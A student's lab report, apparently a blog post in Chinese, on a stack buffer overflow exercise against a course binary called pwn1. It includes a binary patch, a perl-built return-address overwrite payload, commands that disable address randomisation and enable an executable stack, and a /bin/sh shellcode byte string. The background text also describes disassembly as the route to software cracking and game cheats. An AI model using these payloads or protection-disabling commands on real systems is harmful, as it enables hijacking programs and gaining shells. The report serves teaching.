20211921 李楚涵 第7次实验

反汇编

  • 编程原理
    通常,编写程序是利用高级语言如C,C++,Delphi等高级语言进行编程的,然后再经过编译程序生成可以被计算机系统直接执行的文件(机器语言)。反汇编即是指将这些执行文件反编译还原成汇编语言或其他语言。但通常反编译出来的程序与原程序会存在些许不同,虽然执行效果相同,但程序代码会发生很大的变化,要读懂反汇编需要有扎实的高级语言编写功底和汇编功底。
  • 折叠编辑本段作用及方式
    折叠作用
    有许多程序可以进行逆向操作即反编译以求修改,例如Flash的文件生成的SWF文件,可以被反汇编成Flash原码,但可以发现与原程序代码发生了很大变化。
    网络上的许多"免费软件",PSP PS NDS游戏机的破解和苹果iOS系统的越狱都跟反汇编息息相关。
  • 折叠静态反汇编
    静态反汇编是从反汇编出来的程序清单上分析,从提示信息入手进行分析。大多数软件在设计时,都采用了人机对话方式。所谓人机对话,即在软件运行过程中,需要由用户选择的地方,软件即显示相应的提示信息,并等待用户按键选择。而在执行完某一段程序之后,便显示一串提示信息,以反映该段程序运行后的状态,是正常运行,还是出现错误,或者提示用户进行下一步工作的帮助信息。为此,如果我们对静态反汇编出来的程序清单进行阅读,可了解软件的编程思路,以便顺利破解该软件,也就是我们常说的破解版即盗版。反汇编亦是外挂设计最重要的环节,可以说没有反汇编就没有外挂。 常用的静态分析工具是W32DASM、PEiD、FileInfo、 Hex Rays Ida和HIEW等。
  • 折叠编辑本段相关工具
    反汇编工具如:OD、IDA Pro、radare2、DEBUG、C32等。
    反汇编可以通过反汇编的一些软件实现,比如DEBUG就能实现反汇编,当DEBUG文件位置设置为-u时,即可实现反汇编。 而使用OD实现反汇编时,杀毒软件可能会报告有病毒与木马产生,此时排除即可,且使用OD需要有扎实的基础才能看懂。
  • BOF及其种类
    BoF,Buffer Overflow 是所有溢出漏洞的统称。
    栈溢出 Stack Overflow,基于栈的溢出,利用不安全方法,通过写入指定长度的数据到栈空间,从而做到对程序跳转地址的控制,执行恶意代码
    堆溢出 Heap Overflow,基于堆的溢出
    整数溢出 Integer Overflow,将 long 这样的整数存入 int 型的变量,造成的溢出
    字符编码溢出 Unicode Overflow,将 Unicode 字符存入 ASCII 类型的变量,造成的溢出
  • vim及其常用命令
    Vi是linux系统下自带的文本编辑器,vim则是vi的升级版本,代码补完、编译及错误跳转等方便编程的功能特别丰富。
    w:保存;
    q:退出;
    wq:保存并退出;
    q!:强制退出不保存(!起强制作用)
    %!xxd格式转换

1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。
    下载老师发的文件pwn1,打开视频跟学
    在kali获得root权限后,输入cp pwn1 pwn2,接着输入vi pwn2,然后按esc键,输入:%!xxd,查找需要修改的内容,将d7改为c3,转换16进制为原格式输入:%!xxd -r,存盘退出输入:wq


    然后输入objdump -d pwn2 more


    跑一下试试,成功了。

    查找程序漏洞

    8048497行的汇编指令为lea -0x1c(%ebp),%ax,即为输入的字符串留下了1c的空间,即28个字符。算上ebp的4位字符空间,我们即可得到从第32个字符开始覆盖eip的存储空间。
    使用gdb调试,输入111111112222222233333333444444441234,前32位任选。程序报错,查看寄存器的值,发现eip的值位4321,符合猜想

    确定了输入29-32这四个字符就会跑到eip。
    我们需要将eip的值换成getShell的首地址。因为不能直接输入不可打印ASCII码。我们需要借助perl语言。
    输入perl -e 'print "1" x 32;print "\x7d\x84\x04\x08"' > input2

    输入xxd input2,检查一下,结果正确

    用cat和管道输入到执行函数中,破解成功

2.实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击
    先做一些设置,关掉一些防护措施,简化shellcode的执行。在此之前先安装execstack,使用指令apt-get install execstack

    execstack -s pwn1 //设置堆栈可执行(默认是不可执行的)
    execstack -q pwn1 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space //查询地址空间是否随机化
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
    然后输入(cat input2;cat) | ./pwn1
    在另外一个窗口ps -ef | grep pwn可以看到当前运行pwn4的进程号为71225

    但是因为回车了,所以运行不出来了……

    重新做,也没办法做出来,实在实在实在是做不出来了因为在输入这个之后(cat input_shellcode;cat) | ./pwn1
    这一个实验没有结果,失败了……
    都出现这个结果了,但是没法继续做实验了

    3.问题及解决方案
    问题1:gdb没法安装
    解决1:通过以下步骤完成gdb的安装



    问题1:安装execstack时候出现错误
    解决1:通过以下步骤完成execstack的安装

posted @ 2022-05-14 22:48  LWE1225826  阅读(8)  评论(0编辑  收藏  举报